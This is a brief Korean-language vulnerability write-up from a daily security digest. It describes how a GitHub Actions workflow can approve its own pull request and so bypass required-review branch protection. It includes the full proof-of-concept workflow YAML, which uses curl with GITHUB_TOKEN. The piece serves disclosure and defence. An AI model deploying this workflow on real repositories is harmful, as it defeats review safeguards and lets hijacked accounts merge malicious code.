[하루한줄] Bypassing required reviews using GitHub Actions

URL

Bypassing required reviews using GitHub Actions

Target

GitHub

GitHub action

GitHub organization

Explain

GitHub action을 사용해 GitHub organization의 branch protection rule을 무시하고 repo에 직접 코드를 push할 수 있는 취약점입니다.

GitHub organization은 동시에 여러 프로젝트에 걸쳐 협업할 수 있는 공유 계정입니다. 많은 유저들이 저마다 권한을 갖고 organization 멤버로 포함될 수 있습니다. Write 권한을 갖는 유저는 repo에 직접 코드를 push할 수 있는 권한이 있습니다.

하지만 해커가 Wrtie 권한을 갖는 계정을 탈취하고 repo에 직접 코드를 push하는 상황을 방지하기 위해 pull request를 생성하고 특정 멤버가 해당 pull request를 review 한뒤 merge 하는 branch protection rule을 사용할 수 있습니다. 당연히 자신이 생성한 pull request를 직접 리뷰하고 승인할 수 없습니다.

하지만 문제는 Write 권한이 있는 유저라면 GitHub action을 사용해 repo에 대해 workflow 파일을 실행할 수 있고, 다음과 같은 내용이 포함된 워크플로우와 함께 코드를 새로운 remote branch에 푸시하면 자기 자신의 pull request를 직접 승인할 수 있습니다.

name: APPROVE
 
on: pull_request # run on pull request events
 
permissions:
 pull-requests: write # grant write permission on the pull-requests endpoint
jobs:
 approve:
   runs-on: ubuntu-latest
 
   steps:
     - run: | # approve the pull request
         curl --request POST \\
         --url <https://api.github.com/repos/${{github.repository}>}/pulls/${{github.event.number}}/reviews \\
         --header 'authorization: Bearer ${{ secrets.GITHUB_TOKEN }}' \\
         --header 'content-type: application/json' \\
         -d '{"event":"APPROVE"}'

타겟 repo의 쓰기권한 계정을 탈취한 해커는 해당 취약점을 악용해 악성 코드를 push하고 직접 merge할 수 있습니다.